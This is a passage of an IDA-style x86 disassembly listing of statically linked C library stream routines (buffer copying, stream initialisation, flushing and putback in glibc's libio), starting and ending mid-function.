		push	ebx
		mov	eax, [eax+64h]
		call	eax
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061BEB

loc_8061BDB:				; CODE XREF: sub_8061BB8+10j
		push	0
		lea	eax, [ebx+48h]
		push	eax
		lea	eax, [ebx+47h]
		push	eax
		push	ebx
		call	sub_8061B6C

loc_8061BEB:				; CODE XREF: sub_8061BB8+Bj
					; sub_8061BB8+21j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061BB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061C20
		mov	eax, [ebx+4]
		movzx	eax, byte ptr [eax]
		inc	dword ptr [ebx+4]
		jmp	short loc_8061C25
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061C20:				; CODE XREF: .text:08061C13j
		mov	eax, 0FFFFFFFFh

loc_8061C25:				; CODE XREF: .text:08061C1Ej
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061C2C	proc near		; CODE XREF: .text:0806176Ep

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_4], edi
		test	edi, edi
		jnz	short loc_8061C4C
		xor	eax, eax
		jmp	loc_8061D22
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061C4C:				; CODE XREF: sub_8061C2C+14j
					; sub_8061C2C+E9j
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+18h]
		sub	esi, [edi+14h]
		test	esi, esi
		jle	loc_8061CF6
		cmp	[ebp+var_4], esi
		jnb	short loc_8061C65
		mov	esi, [ebp+var_4]

loc_8061C65:				; CODE XREF: sub_8061C2C+34j
		cmp	esi, 14h
		jle	short loc_8061C84
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+14h]
		push	esi
		push	ebx
		push	eax
		call	memcpy
		add	esp, 0Ch
		add	ebx, esi
		add	[edi+14h], esi
		jmp	short loc_8061CF3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061C84:				; CODE XREF: sub_8061C2C+3Cj
		test	esi, esi
		jg	short loc_8061C8C
		xor	esi, esi
		jmp	short loc_8061CF3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061C8C:				; CODE XREF: sub_8061C2C+5Aj
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+14h]
		lea	ecx, [esi-1]
		test	ecx, ecx
		jl	short loc_8061CED
		mov	eax, ecx
		not	eax
		and	eax, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_8061CC3
		test	eax, eax
		jz	short loc_8061CCC
		cmp	eax, 3
		jge	short loc_8061CC3
		cmp	eax, 2
		jge	short loc_8061CBC
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		lea	ecx, [esi-2]

loc_8061CBC:				; CODE XREF: sub_8061C2C+85j
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		dec	ecx

loc_8061CC3:				; CODE XREF: sub_8061C2C+77j
					; sub_8061C2C+80j
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		dec	ecx
		js	short loc_8061CED

loc_8061CCC:				; CODE XREF: sub_8061C2C+7Bj
					; sub_8061C2C+BFj
		mov	al, [ebx]
		mov	[edx], al
		mov	al, [ebx+1]
		mov	[edx+1], al
		mov	al, [ebx+2]
		mov	[edx+2], al
		mov	al, [ebx+3]
		mov	[edx+3], al
		add	ebx, 4
		add	edx, 4
		add	ecx, 0FFFFFFFCh
		jns	short loc_8061CCC

loc_8061CED:				; CODE XREF: sub_8061C2C+6Bj
					; sub_8061C2C+9Ej
		mov	edi, [ebp+arg_0]
		mov	[edi+14h], edx

loc_8061CF3:				; CODE XREF: sub_8061C2C+54j
					; sub_8061C2C+5Ej
		sub	[ebp+var_4], esi

loc_8061CF6:				; CODE XREF: sub_8061C2C+2Bj
		cmp	[ebp+var_4], 0
		jz	short loc_8061D1C
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061D1C
		dec	[ebp+var_4]
		jmp	loc_8061C4C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061D1C:				; CODE XREF: sub_8061C2C+CEj
					; sub_8061C2C+E4j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]

loc_8061D22:				; CODE XREF: sub_8061C2C+18j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061C2C	endp

; [0000001F BYTES: COLLAPSED FUNCTION _IO_sgetn. PRESS KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+10h]
		mov	[ebp-4], edi
		mov	ebx, [ebp+0Ch]
		lea	esi, [esi]

loc_8061D60:				; CODE XREF: .text:08061E1Fj
		mov	edi, [ebp+8]
		mov	esi, [edi+8]
		sub	esi, [edi+4]
		test	esi, esi
		jle	loc_8061E0A
		cmp	[ebp-4], esi
		jnb	short loc_8061D79
		mov	esi, [ebp-4]

loc_8061D79:				; CODE XREF: .text:08061D74j
		cmp	esi, 14h
		jle	short loc_8061D98
		mov	edi, [ebp+8]
		mov	eax, [edi+4]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, esi
		add	[edi+4], esi
		jmp	short loc_8061E07
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061D98:				; CODE XREF: .text:08061D7Cj
		test	esi, esi
		jg	short loc_8061DA0
		xor	esi, esi
		jmp	short loc_8061E07
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061DA0:				; CODE XREF: .text:08061D9Aj
		mov	edi, [ebp+8]
		mov	edx, [edi+4]
		lea	ecx, [esi-1]
		test	ecx, ecx
		jl	short loc_8061E01
		mov	eax, ecx
		not	eax
		and	eax, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_8061DD7
		test	eax, eax
		jz	short loc_8061DE0
		cmp	eax, 3
		jge	short loc_8061DD7
		cmp	eax, 2
		jge	short loc_8061DD0
		mov	al, [edx]
		mov	[ebx], al
		inc	edx
		inc	ebx
		lea	ecx, [esi-2]

loc_8061DD0:				; CODE XREF: .text:08061DC5j
		mov	al, [edx]
		mov	[ebx], al
		inc	edx
		inc	ebx
		dec	ecx

loc_8061DD7:				; CODE XREF: .text:08061DB7j
					; .text:08061DC0j
		mov	al, [edx]
		mov	[ebx], al
		inc	edx
		inc	ebx
		dec	ecx
		js	short loc_8061E01

loc_8061DE0:				; CODE XREF: .text:08061DBBj
					; .text:08061DFFj
		mov	al, [edx]
		mov	[ebx], al
		mov	al, [edx+1]
		mov	[ebx+1], al
		mov	al, [edx+2]
		mov	[ebx+2], al
		mov	al, [edx+3]
		mov	[ebx+3], al
		add	edx, 4
		add	ebx, 4
		add	ecx, 0FFFFFFFCh
		jns	short loc_8061DE0

loc_8061E01:				; CODE XREF: .text:08061DABj
					; .text:08061DDEj
		mov	edi, [ebp+8]
		mov	[edi+4], edx

loc_8061E07:				; CODE XREF: .text:08061D94j
					; .text:08061D9Ej
		sub	[ebp-4], esi

loc_8061E0A:				; CODE XREF: .text:08061D6Bj
		cmp	dword ptr [ebp-4], 0
		jz	short loc_8061E25
		mov	edi, [ebp+8]
		push	edi
		call	sub_8061A70
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_8061D60

loc_8061E25:				; CODE XREF: .text:08061E0Ej
		mov	eax, [ebp+10h]
		sub	eax, [ebp-4]
		lea	esp, [ebp-10h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061E44	proc near		; CODE XREF: .text:08060F70p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+5Ch]
		call	eax
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061E68
		xor	eax, eax
		jmp	short loc_8061EBC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061E68:				; CODE XREF: sub_8061E44+1Ej
		test	esi, esi
		jz	short loc_8061E70
		test	edi, edi
		jnz	short loc_8061E80

loc_8061E70:				; CODE XREF: sub_8061E44+26j
		or	byte ptr [ebx],	2
		push	0
		lea	eax, [ebx+48h]
		push	eax
		lea	eax, [ebx+47h]
		push	eax
		jmp	short loc_8061E8A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061E80:				; CODE XREF: sub_8061E44+2Aj
		and	dword ptr [ebx], 0FFFFFFFDh
		push	0
		lea	eax, [edi+esi]
		push	eax
		push	esi

loc_8061E8A:				; CODE XREF: sub_8061E44+39j
		push	ebx
		call	sub_8061B6C
		mov	dword ptr [ebx+18h], 0
		mov	dword ptr [ebx+14h], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	eax, ebx

loc_8061EBC:				; CODE XREF: sub_8061E44+22j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061E44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		mov	ebx, [edx+50h]
		push	eax
		push	0
		push	ecx
		push	edx
		mov	eax, [ebx+44h]
		call	eax
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		push	0
		push	0FFFFFFFFh
		push	22h
		push	3
		push	400h
		push	0
		call	mmap
		mov	edx, eax
		add	esp, 18h
		cmp	edx, 0FFFFFFFFh
		jz	short loc_8061F28
		push	1
		lea	eax, [edx+400h]
		push	eax
		push	edx
		push	ebx
		call	sub_8061B6C
		mov	eax, 1
		jmp	short loc_8061F2D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061F28:				; CODE XREF: .text:08061F0Fj
		mov	eax, 0FFFFFFFFh

loc_8061F2D:				; CODE XREF: .text:08061F26j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061F34	proc near		; CODE XREF: _IO_fopen+23p
					; _IO_vsprintf+15p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		or	edx, 0FBAD0000h
		mov	[eax], edx
		mov	dword ptr [eax+1Ch], 0
		mov	dword ptr [eax+20h], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+10h], 0
		mov	dword ptr [eax+14h], 0
		mov	dword ptr [eax+18h], 0
		mov	dword ptr [eax+34h], 0
		mov	dword ptr [eax+24h], 0
		mov	dword ptr [eax+28h], 0
		mov	dword ptr [eax+2Ch], 0
		mov	dword ptr [eax+30h], 0
		mov	word ptr [eax+44h], 0
		mov	dword ptr [eax+38h], 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_8061F34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000006F BYTES: COLLAPSED FUNCTION _IO_default_finish. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebx+4]
		cmp	[ebx+0Ch], eax
		jnb	short loc_806205C
		cmp	[eax-1], dl
		jnz	short loc_806205C
		dec	dword ptr [ebx+4]
		movzx	eax, dl
		jmp	short loc_8062066
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806205C:				; CODE XREF: .text:0806204Cj
					; .text:08062051j
		mov	eax, [ebx+50h]
		push	edx
		push	ebx
		mov	eax, [eax+2Ch]
		call	eax

loc_8062066:				; CODE XREF: .text:08062059j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_806206E
		and	dword ptr [ebx], 0FFFFFFEFh

loc_806206E:				; CODE XREF: .text:08062069j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+4]
		cmp	[ebx+0Ch], eax
		jnb	short loc_8062094
		dec	dword ptr [ebx+4]
		mov	eax, [ebx+4]
		movzx	eax, byte ptr [eax]
		jmp	short loc_806209F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062094:				; CODE XREF: .text:08062085j
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+2Ch]
		call	eax

loc_806209F:				; CODE XREF: .text:08062090j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80620A7
		and	dword ptr [ebx], 0FFFFFFEFh

loc_80620A7:				; CODE XREF: .text:080620A2j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	dx, [ebp+0Ch]
		inc	dx
		mov	[eax+44h], dx
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80620C8	proc near		; CODE XREF: sub_8060FA8+72p
					; .text:0806217Dp

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		lea	edx, [esi+ebx]
		cmp	edx, ebx
		jbe	short loc_8062144
		mov	ecx, edx
		mov	eax, ebx
		sub	eax, edx
		and	eax, 3
		cmp	edx, ebx
		jle	short loc_8062101
		test	eax, eax
		jz	short loc_806210C
		cmp	eax, 3
		jge	short loc_8062101
		cmp	eax, 2
		jge	short loc_80620FB
		dec	edx
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8062138

loc_80620FB:				; CODE XREF: sub_80620C8+2Bj
		dec	edx
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8062138

loc_8062101:				; CODE XREF: sub_80620C8+1Dj
					; sub_80620C8+26j
		dec	edx
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8062138
		jmp	short loc_8062140
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806210C:				; CODE XREF: sub_80620C8+21j
					; sub_80620C8+7Aj
		lea	eax, [edx-1]
		cmp	byte ptr [edx-1], 0Ah
		jz	short loc_8062127
		lea	eax, [edx-2]
		cmp	byte ptr [edx-2], 0Ah
		jz	short loc_8062127
		lea	eax, [edx-3]
		cmp	byte ptr [edx-3], 0Ah
		jnz	short loc_8062130

loc_8062127:				; CODE XREF: sub_80620C8+4Bj
					; sub_80620C8+54j
		sub	ecx, eax
		mov	eax, ecx
		dec	eax
		jmp	short loc_8062149
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062130:				; CODE XREF: sub_80620C8+5Dj
		add	edx, 0FFFFFFFCh
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_8062140

loc_8062138:				; CODE XREF: sub_80620C8+31j
					; sub_80620C8+37j ...
		mov	eax, ecx
		sub	eax, edx
		dec	eax
		jmp	short loc_8062149
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062140:				; CODE XREF: sub_80620C8+3Fj
					; sub_80620C8+6Ej
		cmp	edx, ebx
		ja	short loc_806210C

loc_8062144:				; CODE XREF: sub_80620C8+10j
		mov	eax, [ebp+arg_0]
		add	eax, esi

loc_8062149:				; CODE XREF: sub_80620C8+64j
					; sub_80620C8+75j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80620C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		cmp	word ptr [edx+44h], 0
		jnz	short loc_806216C
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806216C:				; CODE XREF: .text:0806215Fj
		mov	eax, [edx+14h]
		sub	eax, [edx+10h]
		push	eax
		mov	eax, [edx+10h]
		push	eax
		movzx	eax, word ptr [edx+44h]
		dec	eax
		push	eax
		call	sub_80620C8
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062188	proc near		; CODE XREF: abort+1Dp	exit+61p ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		xor	esi, esi
		mov	ebx, off_80787F8
		test	ebx, ebx
		jz	short loc_80621C3
		lea	esi, [esi+0]

loc_806219C:				; CODE XREF: sub_8062188+39j
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jnb	short loc_80621BC
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_80621BC
		mov	esi, 0FFFFFFFFh

loc_80621BC:				; CODE XREF: sub_8062188+1Aj
					; sub_8062188+2Dj
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_806219C

loc_80621C3:				; CODE XREF: sub_8062188+Fj
		mov	eax, esi
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062188	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80621D0	proc near		; CODE XREF: _IO_file_underflow+2Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, off_80787F8
		test	ebx, ebx
		jz	short loc_80621FB
		lea	esi, [esi]

loc_80621E0:				; CODE XREF: sub_80621D0+29j
		test	byte ptr [ebx+1], 2
		jz	short loc_80621F4
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		add	esp, 8

loc_80621F4:				; CODE XREF: sub_80621D0+14j
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_80621E0

loc_80621FB:				; CODE XREF: sub_80621D0+Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80621D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062204	proc near		; CODE XREF: .text:08062240p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, off_80787F8
		test	ebx, ebx
		jz	short loc_8062230
		lea	esi, [esi]

loc_8062214:				; CODE XREF: sub_8062204+2Aj
		test	byte ptr [ebx],	2
		jnz	short loc_8062229
		mov	eax, [ebx+50h]
		push	0
		push	0
		push	ebx
		mov	eax, [eax+54h]
		call	eax
		add	esp, 0Ch

loc_8062229:				; CODE XREF: sub_8062204+13j
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_8062214

loc_8062230:				; CODE XREF: sub_8062204+Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8062204	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		call	sub_8062188
		call	sub_8062204
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	[esi+4], ebx
		test	byte ptr [ebx+1], 8
		jz	short loc_8062266
		push	ebx
		call	sub_806186C

loc_8062266:				; CODE XREF: .text:0806225Ej
		test	byte ptr [ebx+1], 1
		jz	short loc_8062274
		mov	edx, [ebx+4]
		sub	edx, [ebx+8]
		jmp	short loc_806227A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062274:				; CODE XREF: .text:0806226Aj
		mov	edx, [ebx+4]
		sub	edx, [ebx+0Ch]

loc_806227A:				; CODE XREF: .text:08062272j
		mov	[esi+8], edx
		mov	eax, [ebx+30h]
		mov	[esi], eax
		mov	[ebx+30h], esi
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	edx, [eax+4]
		add	edx, 30h
		cmp	dword ptr [edx], 0
		jz	short loc_80622B7
		lea	esi, [esi+0]

loc_80622A4:				; CODE XREF: .text:080622B5j
		cmp	[edx], eax
		jnz	short loc_80622B0
		mov	eax, [eax]
		mov	[edx], eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80622B0:				; CODE XREF: .text:080622A6j
		mov	edx, [edx]
		cmp	dword ptr [edx], 0
		jnz	short loc_80622A4

loc_80622B7:				; CODE XREF: .text:0806229Fj
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		mov	edx, [edx+8]
		sub	edx, [eax+8]
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_80622EC
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80622EC:				; CODE XREF: .text:080622DEj
		mov	eax, [edx+4]
		test	byte ptr [eax+1], 1
		jz	short loc_8062300
		mov	ecx, [eax+4]
		sub	ecx, [eax+8]
		jmp	short loc_8062309
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062300:				; CODE XREF: .text:080622F3j
		mov	eax, [edx+4]
		mov	ecx, [eax+4]
		sub	ecx, [eax+0Ch]

loc_8062309:				; CODE XREF: .text:080622FBj
		mov	eax, ecx
		mov	edx, [edx+8]
		sub	edx, eax
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	esi, [ebp+0Ch]
		cmp	[esi+4], ebx
		jz	short loc_8062330
		mov	eax, 0FFFFFFFFh
		jmp	short loc_806235F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062330:				; CODE XREF: .text:08062326j
		cmp	dword ptr [esi+8], 0
		jl	short loc_8062348
		test	byte ptr [ebx+1], 1
		jz	short loc_8062342
		push	ebx
		call	sub_806180C

loc_8062342:				; CODE XREF: .text:0806233Aj
		mov	edx, [ebx+0Ch]
		jmp	short loc_8062357
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062348:				; CODE XREF: .text:08062334j
		test	byte ptr [ebx+1], 1
		jnz	short loc_8062354
		push	ebx
		call	sub_806183C

loc_8062354:				; CODE XREF: .text:0806234Cj
		mov	edx, [ebx+8]

loc_8062357:				; CODE XREF: .text:08062345j
		add	edx, [esi+8]
		mov	[ebx+4], edx
		xor	eax, eax

loc_806235F:				; CODE XREF: .text:0806232Dj
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062368	proc near		; CODE XREF: sub_8060D44+21p
					; .text:0806143Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_806237B
		mov	dword ptr [eax+30h], 0

loc_806237B:				; CODE XREF: sub_8062368+Aj
		cmp	dword ptr [eax+24h], 0
		jz	short loc_8062387
		push	eax
		call	sub_80618D4

loc_8062387:				; CODE XREF: sub_8062368+17j
		mov	esp, ebp
		pop	ebp
		retn
sub_8062368	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	eax, [edx+4]
		cmp	[edx+0Ch], eax
		jnb	short loc_80623A0
		dec	dword ptr [edx+4]

loc_80623A0:				; CODE XREF: .text:0806239Bj
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_80623B1
		mov	edx, [edx+4]
		movzx	eax, byte ptr [edx]
		cmp	eax, ecx
		jz	short loc_80623B1
		mov	[edx], cl

loc_80623B1:				; CODE XREF: .text:080623A3j
					; .text:080623ADj
		movzx	eax, cl
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80623B8	proc near		; CODE XREF: _IO_str_pbackfail+1Ep

var_14		= byte ptr -14h
